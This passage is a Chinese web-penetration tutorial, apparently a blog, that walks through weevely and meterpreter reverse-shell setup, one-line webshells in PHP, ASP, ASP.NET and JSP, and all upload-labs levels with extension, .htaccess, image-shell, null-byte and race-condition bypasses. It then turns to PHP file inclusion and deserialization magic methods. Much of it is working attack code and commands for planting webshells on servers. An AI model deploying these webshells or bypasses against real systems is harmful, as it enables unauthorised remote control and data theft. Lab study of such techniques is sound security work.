:system_info -info client_ip ?//查找自己連接IP
文件管理
:file_touch ?//修改文件時間模塊,如下
:file_touch -human-ts '2022-04-20 20:30:21' 文件名
命令執(zhí)行
:shell_php ?//執(zhí)行PHP命令模塊,如下
:shell_php system('ipconfig');
會話轉(zhuǎn)移(Kali中很多工具和數(shù)據(jù)都是互通的)
//在終端1中,生成 meterpreter 會話
:backdoor_meterpreter -payload php/meterpreter/reverse_tcp -Ihost 本機IP -port 端口
//在終端2中,啟動 MSF,并設置監(jiān)聽會話,直到會話轉(zhuǎn)移過來
service postgresq ?start ? ?//啟動postgresql數(shù)據(jù)庫
msfdb reinit ? ? // 初始化msfdb
msfdb start ? ? ?// 啟動msfdb
msfconsole ? ? ? // 啟動msf
use exploit multi/handler
show paylaods
set payload php/meterpreter/reverse_top
show options
set Ihost 本機IP
run
使用 .php 文件遠程控制
第一步:使用 weevely 命令生成一個遠程控制文件 backdoor.php,該文件使用的密碼為字符串 "hello"
查看一下文件的內(nèi)容
第二步:將該backdoor.php文件通過方法移動到Apache2服務器的根目錄/var/www/html/
第三步:通過 weevely 命令進行連接我們的遠程控制文件(文件密碼為字符串hello)可以看到滲透成功,并且可以執(zhí)行命令了
連接時附加 cmd 參數(shù),只執(zhí)行一次命令就結(jié)束,不建立長久連接
使用 .img 文件控制 ( 圖片馬?)
使用.htaccess文件控制
控制之后的命令示例:
:system.info? ? 獲取到系統(tǒng)的基本信息
使用示例:中國蟻劍
中國蟻劍(AntSword)安裝、使用教程:https://blog.csdn.net/weixin_41924764/article/details/108099952
蟻劍分為兩個部分,一個是核心源碼,另一個是加載器,
- 源碼:https://github.com/AntSwordProject/antSword/releases
- 加載器:https://github.com/AntSwordProject/antSword/releases
下載源碼和加載器,將源碼文件夾放在加載器文件夾中,然后啟動exe,點擊初始化,選擇源碼文件夾,顯示設置完畢,重啟就好了
一句話木馬
PHP: <?php @eval($_POST['chopper']);?>ASP: <%eval request("chopper")%>ASP.NET: <%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%>JSP:
<%if(request.getParameter("cmd")!=null){java.io.InputStream in = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",request.getParameter("cmd")}).getInputStream();int a = -1;byte[] b = new byte[1];out.print("<pre>");while((a=in.read(b))!=-1){out.print(new String(b));}out.print("</pre>");} %>使用示例:哥斯拉
首先從 github 下載,下載是一個 jar 文件,直接打開
菜單欄 ---> 管理 ---> 生成?
打開文件,可以看到生成的一句話木馬
把 godzilla.php 放到網(wǎng)站目錄下 ( 我本機?D:\Software\phpstudy_pro\WWW\pikachu_master),現(xiàn)在使用 哥斯拉 連接。
連接后,點擊進入,就可以看到上面的功能,如下:
使用示例:冰蝎
下載完成后,進入 server 文件夾中,可以看到已經(jīng)存在 webshell,不需要自己生成
- ① Server 文件夾:存放著不同類型的 shell 腳本。不需要再自己生成
- ② Behinder.jar :冰蝎的運行程序
- ③ Behinder_v3.:源壓縮包
- ④ data.db :配置文件
- ⑤ 更新日志.txt :版本更新修復的問題
這里把 server 文件夾中 shell.php 放到網(wǎng)站目錄下,使用 冰蝎 進行連接
文件上傳漏洞靶場安裝、練習
github 地址:https://github.com/c0ny1/upload-labs
安裝、通關
- upload-labs通關秘籍和安裝環(huán)境:https://blog.csdn.net/weixin_47543868/article/details/121875701
- upload-labs安裝及攻略:https://blog.csdn.net/K_ShenH/article/details/122438998
Pass-01 ( 修改前端代碼?)
上傳文件流程,用戶選擇文件,通過前端上傳,后端接收。所以可在在 前端、后端進行校驗。這一關是在前端進行校驗。所以可以修改前端代碼進行繞過。
方法1:查看源碼,發(fā)現(xiàn)是使用 js 進行文件校驗,所以可以修改前端代碼,把 js 代碼干掉。
( 使用的 firefox 瀏覽器,chrome 好像有問題?)
在選擇文件 test_muma.php 上傳,發(fā)現(xiàn)上傳成功,?
test_muma.php 內(nèi)容
<?php eval($_POST["payload"]);使用 蟻劍 進行連接
雙擊,可以看到目錄,說明連接成功,且 test_muma.php 工作正常
?方法2:
Pass-02 ( bp 攔截請求并修改?)
既然用戶可以修改前端代碼,所以又在后端都進行了檢查。查看提示:?
發(fā)現(xiàn)是對上傳的文件類型進行了 校驗,只要不是 image/jpeg、image/png、image/gif 都不通過。這個文件類型是瀏覽器根據(jù)上傳的文件類型,在請求頭中自動標記的 (?Content Type、Accept?? ),所以可以通過代理攔截請求,并修改請求頭中這個字段的值,然后發(fā)送
MIME 用法
- 客戶端:
get ?請求不需要這個字段
post 請求頭,放在 Content Type 字段用來指定上傳的文件類型,方便服務器解析,放在 Accept 則告訴服務器允許接收的響應類型,比如:只能接收 json 或者其他 - 服務端:放在響應頭里面,Content Type 告訴客戶端相應的數(shù)據(jù)類型,方便客戶端解析
這里使用 BurpSuite 進行代理攔截。啟動 bp,
選擇文件,點擊上傳,就可以攔截到 請求?
修改 Content-Type 值為?image/jpeg,在 bp 中點擊 forward 按鈕,即可上傳成功
再次使用 蟻劍 進行連接,可以看到顯示正常。
Pass-03 ( 等價擴展名?)
查看提示,可以看到可以獲取到文件的擴展名,
獲取到擴展名,還設置有擴展名拒絕的黑名單 ( .asp、.aspx、.php、.jsp?),后面還進行刪除了文件末尾的點、轉(zhuǎn)換大小寫等操作。所以處理思路有兩個,
- 1. 根據(jù)代碼中處理,構造 可以通過的 文件名
- 2. 不用管怎么處理的,直接使用?"等價擴展名"
這里修改 test_muma.php 為 test_muma.php3,然后上傳,發(fā)現(xiàn)上傳成功
鼠標放在圖片上,右鍵 ---> 新建標簽頁打開圖像 ,可以看到 圖片地址,把這個地址放在 蟻劍 中進行連接,發(fā)現(xiàn)執(zhí)行成功。
注意:查看 圖片 url 'http://127.0.0.1/upload_labs/upload/202206100419233010.php3' 發(fā)現(xiàn)圖片名已經(jīng)發(fā)生變化,這是為什么?這其實是一個偽靜態(tài)頁面。
什么是?偽靜態(tài),偽靜態(tài)作用?
偽靜態(tài)即是網(wǎng)站本身是動態(tài)網(wǎng)頁如.php、.asp、.aspx等格式動態(tài)網(wǎng)頁有時這類動態(tài)網(wǎng)頁還跟“?”加參數(shù)來讀取數(shù)據(jù)庫內(nèi)不同資料。很典型的案例即是discuz論壇系統(tǒng),后臺就有一個設置偽靜態(tài)功能,開啟偽靜態(tài)后,動態(tài)網(wǎng)頁即被轉(zhuǎn)換重寫成靜態(tài)網(wǎng)頁類型頁面,通過瀏覽器訪問地址和真的靜態(tài)頁面沒區(qū)別。前提服務器支持偽靜態(tài)重寫URL Rewrite功能。
htaccess 文件是 Apache服務器中的一個配置文件,它負責相關目錄下的網(wǎng)頁配置。通過htaccess文件,可以幫我們實現(xiàn):網(wǎng)頁301重定向、自定義404錯誤頁面、改變文件擴展名、允許/阻止特定的用戶或者目錄的訪問、禁止目錄列表、配置默認文檔等功能。
當我們隨意訪問一個文章的時候,比如:http://www.52pojie.cn/thread-1530418-1-1.html
其實在服務器中并沒有這個文件,只是這個網(wǎng)站做成了偽靜態(tài):其實是https://www.52.pojie.cn/thread.php?id=1530418&page=1
為什么這么做呢?因為瀏覽器或者說搜索引擎在收錄一個網(wǎng)頁 的時候當然更加喜歡的是靜態(tài)的頁面比如XXX.html,而不是xxx.php?id=a&page=b,所以discuz搭建的wuai論壇做成了偽靜態(tài)。
最后說幾點:其實 upload-labs 這個靶場沒有成功也很正常,因為環(huán)境確實是很煩的問題。沒有成功沒有關系,關鍵是知道各種繞過姿勢。
Pass-04 ( .htaccess文件?)
查看源碼提示,可以發(fā)現(xiàn)黑名單中擴展名增多了,$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
既然黑名單擴展名增多了,那能不能改成一個黑名單中不存在的擴展名,比如說圖片的 jpg 格式。
現(xiàn)在把 "test_muma.php 改成 test_muma.jpg" 發(fā)現(xiàn)可以上傳成功,但是瀏覽器只是把上傳的文件識別成圖片,不能把圖片解析成代碼并運行。
所以這里就可以猜想,瀏覽器能不能把圖片當成代碼來解析,并運行?
需要用到 .htaccess文件 ( Hypertext Access(超文本入口)? )。.htaccess 文件是 Apache 服務器中的一個配置文件,它負 責相關目錄下的網(wǎng)頁配置。 通過 .htaccess 文件,可以實現(xiàn):
- 網(wǎng)頁 301 重定向、
- 自定義 404 錯誤頁面、
- 改變文件擴展名、
- 允許/阻止特定的用戶或者 目錄的訪問、
- 禁止目錄列表、
- 配置默認文檔等功能
準備一個 .htaccess 文件:
<FilesMatch "test_muma.jpg"> SetHandler application/x-httpd-php </FilesMatch>上傳這個 .htaccess 文件,那么剛才上傳的 jpg 文件就會成為一個 webshell 可以連接了。
采用 .htaccess 文件的優(yōu)缺點:
- 通常網(wǎng)絡管理員采用.htaccess文件來進行用戶組的目錄權限訪問控制。沒有必要將所有的HTTPd服務器、配置文件以及目錄訪問權限全部授權給管理員。利用當前目錄的.htaccess文件可以允許管理員靈活的隨時按需改變目錄訪問策略。
- 采用.htaccess的缺點在于:當系統(tǒng)有成百上千個目錄,每個目錄下都有對應的.htaccess文件時,網(wǎng)絡管理員將會對如何配置全局訪問策略無從下手。同時,由于.htaccess文件十分被容易覆蓋,很容易造成用戶上一時段能訪問目錄,而下一時段又訪問不了的情況發(fā)生。最后,.htaccess文件也很容易被非授權用戶得到,安全性不高。
Pass-05?( ?)
制作圖片木馬:
- copy /b huaji.jpg + /a shell.php shell.gif
- cat huaji.jpg shell.php > shell.gif
Pass-06?( 后綴名大小寫敏感?)
查看提示說明,發(fā)現(xiàn)源碼擴展名黑名單中,把?.htaccess 擴展名也添加進去了,對比第四關源碼,可以發(fā)現(xiàn)這一關中少了 大小寫轉(zhuǎn)換,所以就會出現(xiàn) 大小寫敏感的情況
把 test_muma.php 改成 test.PHP ,然后上傳,使用蟻劍進行連接?
Pass-07?( 首尾空格?)
查看提示說明,和第四關對比,發(fā)現(xiàn)少了 首尾去空格,但是 windows 保存文件是,會自動去掉首尾的空格,所以是需要抓包攔截,然后修改
打開 bp 的攔截,
添加一個 空格,然后點擊 forward
然后使用 蟻劍 進行連接
Pass-08?( 文件名末尾的點 )
查看提示說明,和第四關對比,發(fā)現(xiàn)少了 刪除文件名末尾的點
Pass-09?( ::$ 特殊符號?)
查看提示說明,和第四關對比,發(fā)現(xiàn)少了 ::$DATA ,所以可以使用 bp 抓包進行修改,添加上?::$DATA。?
bp 攔截請求,然后進行修改,轉(zhuǎn)發(fā)?
查看網(wǎng)站目錄下,發(fā)現(xiàn)上傳后,window自動干掉了后面的 ::$DATA
所以使用 蟻劍 進行連接時,可以兩個 url 都試試,
"http://127.0.0.1/upload_labs/upload/202206100851431917.php::$data"
"http://127.0.0.1/upload_labs/upload/202206100851431917.php"
發(fā)現(xiàn)不帶 ::$DATA 的可以連接成功,
Pass-10?( 構造擴展名 --- 添加 "點、空格"?)
查看提示說明,發(fā)現(xiàn)和第四關一樣,這是就需要分析 代碼邏輯了。
代碼邏輯:得到文件名 ( 包括文件的擴展名?)、刪除文件名末尾的點、得到擴展名、擴展名轉(zhuǎn)換成小寫、刪除::$DATA 、最后在刪除首尾的空格。
所以可以構造文件名:"test_muma.php.空格."
打開 bp 攔截請求,并修改
使用 蟻劍 進行連接,可以連接成功,
Pass-11?( 構造擴展名 --- 字符串替換 )
查看提示,可以發(fā)現(xiàn),如果文件名中有黑名單中關鍵字,則全部替換成 空字符串
查看源代碼,看到只替換了一次,沒有進行循環(huán)替換,所以可以構造 文件名? test_muma.pphphphpp,這樣的文件名替換之后剛好是 test_muma.php?
使用 蟻劍 進行連接,可以連接成功,
Pass-12?( 文件名截斷 之 url編碼截斷?)
文件名 截斷
截斷字符:char(0),類似 C++ 的 "\0"
filename = test.php%00.txt? <----->? file = test.php
查看提示,發(fā)現(xiàn)只有 jpg、png、gif 才能上傳成功,
通過查看代碼可以發(fā)現(xiàn),上傳的圖片保存位置在請求中的 save_path 參數(shù)中,
所以就可以通過攔截請求,修改 請求中的 save_path 參數(shù),加上 test_mum.php%00 ,上傳后的文件名就會保存成 test_muma.php?
Pass-13?( 文件名截斷 之 16進制截斷?)
和 第12關一樣 ,都是文件名截斷,第12關 save_path 是在 post 請求的url中,截斷編碼使用的url編碼,但是這一關 save_path?不是在url中,所以需要改成 16禁止的截斷編碼
改成 00?
Pass-14?( 圖片馬 文件包含 )
通過提示,發(fā)現(xiàn)會檢查上傳文件的前兩個字節(jié),并判斷這個兩個字節(jié),通過這兩個字節(jié)判斷文件類型。
擴展知識:每個文件都有文件頭,文件頭里面保存了文件的基本信息,可以知道文件是什么類型的文件。各類文件頭標識:https://blog.csdn.net/mashuai720/article/details/111615743
制作 圖片馬:
- copy azz.png /b + test_muma.php /a test_img_muma.png
- cat azz.png?test_muma.php > test_imag_muma.png
縮略圖可以正常顯示,說明生成額 圖片馬 沒有問題,也可以使用圖片瀏覽工具打開,發(fā)現(xiàn)也正?!,F(xiàn)在以 16進制形式打開文件,使用 010edit 打開 test_img_muma.png
在文件結(jié)尾處,可以看到 php 的代碼
現(xiàn)在上傳 test_img_muma.php 可以上傳成功,但是使用 蟻劍 連接時,連接不上,這是因為生成的圖片馬中的 php 代碼只能作為圖片的一部分,并不能運行,這時想要 php 代碼運行,就的使用 "文件包含漏洞" 運行圖片馬中的惡意代碼。
文件包含漏洞:https://blog.csdn.net/huangyongkang666/article/details/123628579
文件包含:開發(fā)人員通常會把可重復使用的函數(shù)寫到單個文件中,在使用某些函數(shù)時,直接調(diào)用此文件,無需再次編寫,這種調(diào)用文件的過程一般被稱為文件包含。
文件包含漏洞原理:文件包含是指當服務器開啟allow_url_include選項時,就可以通過PHP的某些特性函數(shù) include(),require()和include_once(),requir_once() ,然后利用 URL 去動態(tài)包含文件,此時如果沒有對文件來源進行嚴格審查,就會導致任意文件讀取或者任意命令執(zhí)行。文件包含漏洞分為本地文件包含漏洞與遠程文件包含漏洞,遠程文件包含漏洞是因為開啟了PHP配置中的allow_url_fopen選項,選項開啟之后,服務器允許包含一個遠程文件,服務器通過PHP特性(函數(shù))去包含任意文件時,由于要包含的這個文件來源過濾不嚴,從而可以去包含一個惡意文件,而我們可以構造這個惡意文件來達到自己的目的。
- 1、文件包含即程序通過包含函數(shù)調(diào)用本地或遠程文件,以此來實現(xiàn)拓展功能
- 2、被包含的文件可以是各種文件格式,而當文件里面包含惡意代碼,則會形成遠程命令執(zhí)行或文件上傳漏洞。
- 3、文件包含漏洞主要發(fā)生在有包含語句的環(huán)境中,例如 PHP 所具備include、require等函數(shù)。
點擊上面的 "文件包含漏洞" 鏈接,
使用 蟻劍 進行連接。"http://127.0.0.1/upload_labs/include.php?file=upload/1520220610122650.png"
Pass-15?(?圖片馬 圖片校驗 )
通過提示發(fā)現(xiàn),這一關通過 getimagesize() 函數(shù)用于獲取圖像大小及相關信息,成功返回一個數(shù)組,失敗則返回 FALSE 并產(chǎn)生一條 E_WARNING 級的錯誤信息。
使用 第15 關圖片可以直接過。
Pass-16?(?圖片馬 圖片校驗 )
通過提示發(fā)現(xiàn),這一關通過 exif_imagetype() 函數(shù)校驗是不是圖片。
使用 第15 關圖片可以直接過。
Pass-17?( 圖片馬 渲染后圖片?)
這一關是上傳的圖片被進行了渲染處理,導致 php 代碼被處理掉,
使用 010editor 打開自己生成的 圖片?和 渲染后的圖片 對比可以看下,渲染后的圖片文件頭部分就發(fā)生了改變,文件尾的一句話木馬也被干掉了。
解決思路:不斷的嘗試把 一句話木馬放在不同的位置才能渲染后不被干掉。也可以找網(wǎng)上別人整理好的渲染后不被干掉的圖片。
copy azz.png /b + test_muma.php /a + azz.png /b + test_muma.php /a +azz.png /b + test_muma.php /a test_img_muma.png
Pass-18?(?圖片馬 條件競爭? )
條件競爭:利用代碼執(zhí)行的時間差 來實現(xiàn)目的
這一關也可以通過 "圖片馬 文件包含" 來實現(xiàn),但是不是這題的本意。
通過分析代碼可以知道代碼是 "保存、判斷、刪除、刪除完畢" 的邏輯。
所以處理思路是:能不能在文件存在的時候連接上去,并修改文件名。答案是肯定可以的,在判斷和刪除文件的時候,是需要花費時間的,可以開多線程同時請求,總有一個可以在文件存在的時候請求成功,并成功修改文件名。
總共分兩步:
- 第一步,通過 bp 不斷的發(fā)送請求,傳送文件。
- 第二步,通過程序不斷的請求訪問。
新建一個?test_competiton.php 文件,文件內(nèi)容如下:
<?php fputs(fopen('test_muma.php', 'w'), '<?php @eval($_POST["payload"])?>');?>使用 bp 攔截請求,并進行多線程請求
把自動添加的 payload 刪除
設置 payload 為 null
設置線程池
現(xiàn)在開始 第二步,現(xiàn)在開始通過程序不斷的請求
Python 代碼:
import time import requestsdef main():while True:url = 'http://127.0.0.1/upload_labs/upload/test_competiton.php'resp = requests.post(url, data=None)if 200 == resp.status_code:print(f'resp.text ---> {resp.text}')else:print(f'resp.status_code ---> {resp.status_code}')time.sleep(0.1)passif __name__ == '__main__':main()pass現(xiàn)在使用 蟻劍 進行連接,發(fā)現(xiàn)連接并執(zhí)行成功
Pass-19?(?圖片馬 條件競爭? )
思路:
- 方法 1:利用來不重命名的條件競爭
- 方法 2.:利用 apache 解析漏洞
Pass-20?(?move_uploaded_file 函數(shù)特性 ?)
move_uploaded_file 函數(shù)在解析的時候,會忽略掉 /.
在上傳框中加上? /.?
點擊上傳后,就會生成 test_muma.php 文件
使用蟻劍進行連接,可以連接成功
Pass-21?(??)
查看提示,需要查看源碼:
分析流程:https://www.bilibili.com/video/BV1jL4y1j7i6?p=26
通過查看源碼,發(fā)現(xiàn)校驗了 MIME、文件擴展名,這兩個需要使用 bp 攔截并修改請求。
其實只要數(shù)組小標 大于 1 即可。
5、文件包含
文件包含漏洞
文件包含漏洞:https://blog.csdn.net/huangyongkang666/article/details/123628579
文件包含:開發(fā)人員通常會把可重復使用的函數(shù)寫到單個文件中,在使用某些函數(shù)時,直接調(diào)用此文件,無需再次編寫,這種調(diào)用文件的過程一般被稱為文件包含。
<!DOCTYPE html> <html> <head><meta charset="utf-8"> </head> <body> <h1>第 999 次訪問</h1> <p></p> <p>歡迎下次再來</p> <?php include "footer.php"?> <?php$file = $_GET['file'];if(isset($file)){include("$file");}else{echo "file fail";} ?> </body> </html>文件包含漏洞原理:文件包含是指當服務器開啟 allow_url_include 選項時,就可以通過 PHP 的某些特性函數(shù) include(),require() 和 include_once(),requir_once() ,然后利用 URL 去動態(tài)包含文件,此時如果沒有對文件來源進行嚴格審查,就會導致任意文件讀取或者任意命令執(zhí)行。文件包含漏洞分為本地文件包含漏洞與遠程文件包含漏洞,遠程文件包含漏洞是因為開啟了PHP配置中的allow_url_fopen 選項,選項開啟之后,服務器允許包含一個遠程文件,服務器通過 PHP 特性(函數(shù))去包含任意文件時,由于要包含的這個文件來源過濾不嚴,從而可以去包含一個惡意文件,而我們可以構造這個惡意文件來達到自己的目的。
- 1、文件包含即程序通過包含函數(shù)調(diào)用本地或遠程文件,以此來實現(xiàn)拓展功能
- 2、被包含的文件可以是各種文件格式,而當文件里面包含惡意代碼,則會形成遠程命令執(zhí)行或文件上傳漏洞。
- 3、文件包含漏洞主要發(fā)生在有包含語句的環(huán)境中,例如 PHP 所具備include、require等函數(shù)。
php 需要更改 php.ini,才能開啟 文件包含
// php.ini allow_url_fopen=On allow_url_include=On示例:遠程包含
遠程訪問示例,這里需要再開一臺 web 服務器,
http://127.0.0.1/upload_labs/include.php?file=http://192.168.1.5/1.txt
http://127.0.0.1/upload_labs/include.php?file=http://192.168.1.5/alter.html
示例:本地包含
本地訪問
示例:DVWA 靶場
php 偽函數(shù)、相關協(xié)議
include() include語句,包含并運行指定的文件 include_once() 只包含一次,不重復包含 require() 和 include 一樣,不過出錯時會停止 require_once() 和 include_once 一樣 fopen() 打開文件或者 URL readfile() 讀取文件并寫入到緩沖區(qū) highlight_file 語法高亮一個文件 show_source 等價于 highlight_file file_get_contents 將整個文件讀入字符串中 file 將整個文件讀入一個數(shù)組中PHP 偽協(xié)議:https://www.cnblogs.com/shawCE/p/15507496.html
支持的協(xié)議和封裝協(xié)議:https://www.php.net/manual/zh/wrappers.php
- file://?— 訪問本地文件系統(tǒng)
- http://?— 訪問 HTTP(s) 網(wǎng)址
- ftp://?— 訪問 FTP(s) URLs
- php://?— 訪問各個輸入/輸出流(I/O streams)
- zlib://?— 壓縮流
- data://?— 數(shù)據(jù)(RFC 2397)
- glob://?— 查找匹配的文件路徑模式
- phar://?— PHP 歸檔
- ssh2://?— 安全外殼協(xié)議 2
- rar://?— RAR
- ogg://?— 音頻流
- expect://?— 處理交互式的流
示例:parse_str(file_get_contents('php://input'), $_PUT);
CTFhub 示例
??CTFhub:https://www.ctfhub.com/#/index
結(jié)題思路
- :https://www.bilibili.com/video/BV1jL4y1j7i6?p=32
- :https://www.bilibili.com/video/BV1Mr4y1i7s4?p=31
"文件包含漏洞" 挖掘、利用
挖掘:
URL 參數(shù)名字出現(xiàn) page、file、filename、include等等關鍵字
URL 參數(shù)值出現(xiàn)了文件名,比如:xxx.php xxx.html 等等
比如:
? ? ?file=content
?? ??page=wuya.asp
?? ??home=wuya.html
利用
1、發(fā)現(xiàn)漏洞
? ? ? ??可以使用自動化工具來,?github 直接搜索 LFI (即 local file include)
? ? ? ? LFISuit:https://github.com/D35m0nd142/LFISuite
2、上傳 shell、讀取敏感文件( FUZZ )
? ? ? ? GitHub地址:https://github.com/xmendez/wfuzz/
? ? ? ? 官方文檔 ( 使用手冊?):https://wfuzz.readthedocs.io/en/latest/index.html
? ? ? ? wfuzz 暴破文件和路徑:https://www.sohu.com/a/224509842_354899
? ? ? ??WFUZZ 使用教程:https://blog.csdn.net/JBlock/article/details/88619117
? ? ? ? Wfuzz 使用:https://blog.csdn.net/weixin_45059752/article/details/122359921
3、執(zhí)行惡意代碼
使用 蟻劍 連接
6、 PHP?序列化、反序列化 漏洞
PHP 在線運行工具:https://c.runoob.com/compile/1/
PHP 面向?qū)ο?/h2>
PHP 面向?qū)ο?#xff1a;https://www.w3cschool.cn/php/php-oop.html
類與對象:https://www.php.net/manual/zh/language.oop5.php
-
類?? 定義了一件事物的抽象特點。類的定義包含了數(shù)據(jù)的形式以及對數(shù)據(jù)的操作。
-
對象?? 是類的實例。
-
成員變量?? 定義在類內(nèi)部的變量。該變量的值對外是不可見的,但是可以通過成員函數(shù)訪問,在類被實例化為對象后,該變量即可稱為對象的屬性。
-
成員函數(shù)?? 定義在類的內(nèi)部,可用于訪問對象的數(shù)據(jù)。
-
繼承?? 繼承性是子類自動共享父類數(shù)據(jù)結(jié)構和方法的機制,這是類之間的一種關系。在定義和實現(xiàn)一個類的時候,可以在一個已經(jīng)存在的類的基礎之上來進行,把這個已經(jīng)存在的類所定義的內(nèi)容作為自己的內(nèi)容,并加入若干新的內(nèi)容。
-
父類?? 一個類被其他類繼承,可將該類稱為父類,或基類,或超類。
-
子類?? 一個類繼承其他類稱為子類,也可稱為派生類。
-
多態(tài)?? 多態(tài)性是指相同的操作或函數(shù)、過程可作用于多種類型的對象上并獲得不同的結(jié)果。不同的對象,收到同一消息可以產(chǎn)生不同的結(jié)果,這種現(xiàn)象稱為多態(tài)性。
-
重載?? 簡單說,就是函數(shù)或者方法有同樣的名稱,但是參數(shù)列表不相同的情形,這樣的同名不同參數(shù)的函數(shù)或者方法之間,互相稱之為重載函數(shù)或者方法。
-
抽象性?? 抽象性是指將具有一致的數(shù)據(jù)結(jié)構(屬性)和行為(操作)的對象抽象成類。一個類就是這樣一種抽象,它反映了與應用有關的重要性質(zhì),而忽略其他一些無關內(nèi)容。任何類的劃分都是主觀的,但必須與具體的應用有關。
-
封裝?? 封裝是指將現(xiàn)實世界中存在的某個客體的屬性與行為綁定在一起,并放置在一個邏輯單元內(nèi)。
-
構造函數(shù)?? 主要用來在創(chuàng)建對象時初始化對象, 即為對象成員變量賦初始值,總與new運算符一起使用在創(chuàng)建對象的語句中。
-
析構函數(shù)?? 析構函數(shù)(destructor) 與構造函數(shù)相反,當對象結(jié)束其生命周期時(例如對象所在的函數(shù)已調(diào)用完畢),系統(tǒng)自動執(zhí)行析構函數(shù)。析構函數(shù)往往用來做"清理善后" 的工作(例如在建立對象時用new開辟了一片內(nèi)存空間,應在退出前在析構函數(shù)中用delete釋放)。
魔術函數(shù)
__construct 當一個對象創(chuàng)建時被調(diào)用, __destruct 當一個對象銷毀時被調(diào)用, __toString 當一個對象被當作一個字符串被調(diào)用。 __wakeup() 使用unserialize時觸發(fā) __sleep() 使用serialize時觸發(fā) __destruct() 對象被銷毀時觸發(fā) __call() 在對象上下文中調(diào)用不可訪問的方法時觸發(fā) __callStatic() 在靜態(tài)上下文中調(diào)用不可訪問的方法時觸發(fā) __get() 用于從不可訪問的屬性讀取數(shù)據(jù) __set() 用于將數(shù)據(jù)寫入不可訪問的屬性 __isset() 在不可訪問的屬性上調(diào)用isset()或empty()觸發(fā) __unset() 在不可訪問的屬性上使用unset()時觸發(fā) __toString() 把類當作字符串使用時觸發(fā),返回值需要為字符串 __invoke() 當腳本嘗試將對象調(diào)用為函數(shù)時觸發(fā)序列化、反序列化
序列化 (Serialization):是將 "內(nèi)存中的對象"?轉(zhuǎn)換為可以存儲或傳輸?shù)男问降倪^程。在序列化期間,對象將其當前狀態(tài)寫入到臨時或持久性存儲區(qū)。以后就可以通過從存儲區(qū)中讀取,或者反序列化對象的狀態(tài),重新創(chuàng)建該對象。實際上就是將數(shù)據(jù)持久化,而且序列化后也能更好的便于網(wǎng)絡運輸何傳播。
- 序列化:將 對象 轉(zhuǎn)換為 字節(jié)序列
- 反序列化:把 字節(jié)序列 恢復為 原先的對象
序列化主要有兩個用途
- 把對象的字節(jié)序列永久保存到硬盤上,通常存放在一個文件中(序列化對象)
- 在網(wǎng)絡上傳送對象的字節(jié)序列(網(wǎng)絡傳輸對象)
比如:想把一張桌子從 a -->?b,一張桌子肯定不好運輸,因此需要把它拆開(這個拆的過程就是序列化);等到達了b需要把他組裝起來 (?裝的過程就是 反序列化? )。
PHP?序列化 函數(shù):?serialize()
把復雜的數(shù)據(jù)類型壓縮到一個字符串中 數(shù)據(jù)類型可以是數(shù)組,字符串,對象等
序列化一個對象將會保存對象的所有變量,但是不會保存對象的方法,只會保存類的名字。
PHP 反序列化 函數(shù):unserialize()
恢復原先被序列化的變量
示例 1:https://blog.csdn.net/m0_46587008/article/details/109373942
<?php class people{public $name = 'sam';private $sex = 'man';protected $age = '20'; } $people_1 = new people(); $obj = serialize($people_1); print $obj;$a=unserialize($obj); var_dump($a); ?>定義一個 people 類,含有公共屬性name,私有屬性sex,保護屬性age。隨后實例化一個people_1 并對其進行序列化,最后輸出結(jié)果為:
O:6:"people":3:{s:4:"name";s:3:"sam";s:11:" people sex";s:3:"man";s:6:" * age";s:2:"20";}
object(people)#2 (3) { ["name"]=> string(3) "sam" ["sex":"people":private]=> string(3) "man" ["age":protected]=> string(2) "20" }
注意:
- 對于 public 的屬性無需其他特殊操作,
- 對于 private 屬性,描述的時候需要在前后添加空格,或者帶上其所在的類名,
- 對于 protected 屬性需要加" * "。
__wakeup()?當unserialize()函數(shù)反序列化時,在數(shù)據(jù)流還未被反序列化未對象之前會調(diào)用該函數(shù)進行初始化.
__destruct()?當對象銷毀時觸發(fā),也就是說只要你反序列化或者實例化一個對象,當你調(diào)用結(jié)束后都會觸發(fā)該函數(shù)。?
<?php class star{public $a;function __wakeup(){echo "hi";}function __destruct(){echo "結(jié)束了";} } $s='O:4:"star":1:{s:1:"a";N;}'; unserialize($s);結(jié)果:hi結(jié)束了。可以看到,先輸出了hi,說明__wakeup()函數(shù)先被調(diào)用,隨后整個反序列化結(jié)束,對象被銷毀,觸發(fā)__destruct()函數(shù),輸出結(jié)束了。
__toString()?當一個對象被當作字符串使用時觸發(fā)
<?php class star{public $a;function __wakeup(){echo $this->a;} } class next{function __toString(){echo "我在這";} } $t='O:4:"star":1:{s:1:"a";O:4:"next":0:{}}'; unserialize($t);結(jié)果:我在這 Catchable fatal error: Method next::__toString() must return a string value in /tmp/41bac5636b55eff5c8abea138d605489916c2612abc45fd39fdaa87a827a0e00/main.php on line 5? 這里沒有retrun,也沒有忽略報錯,所有有一條報錯信息,無關緊要,但是要說的是,__toString()是要又return的,不然會報錯。結(jié)果顯示當類star中的。echo $this->a;
執(zhí)行時,a被當作一個字符串,此時我將a設置為類next,此時類next作為字符串被調(diào)用,所以觸發(fā)類next中的__toString()函數(shù),輸出“我在這”。
__invoke()?當類被當作函數(shù)調(diào)用時觸發(fā),看實例。
<?php class star{public $a;function __wakeup(){$function=$this->a;return $function();} } class next{function __invoke(){echo "我在這";} } $t='O:4:"star":1:{s:1:"a";O:4:"next":0:{}}'; unserialize($t);結(jié)果:我在這
分析過程和上面那個函數(shù)一樣,也是通過反序列化給a賦值,只是賦的不是字符串而是其他類,然后。return $function();??的時候,將類當作函數(shù)調(diào)用,觸發(fā)了__invoke()函數(shù)輸出了“我在這”。
__get()?這個函數(shù)是當訪問不可訪問的屬性的時候觸發(fā),不可訪問的屬性有兩種
- 私有屬性或者保護屬性,這種訪問受限的屬性的時候會觸發(fā)__get()
- 屬性不存在的時候,也會觸發(fā)__get()
結(jié)果:我在這
通過str[‘str’]賦值為類next,訪問next的source,但是類next中不存在屬性source所以觸發(fā)__get()函數(shù),訪問保護屬性等同理。
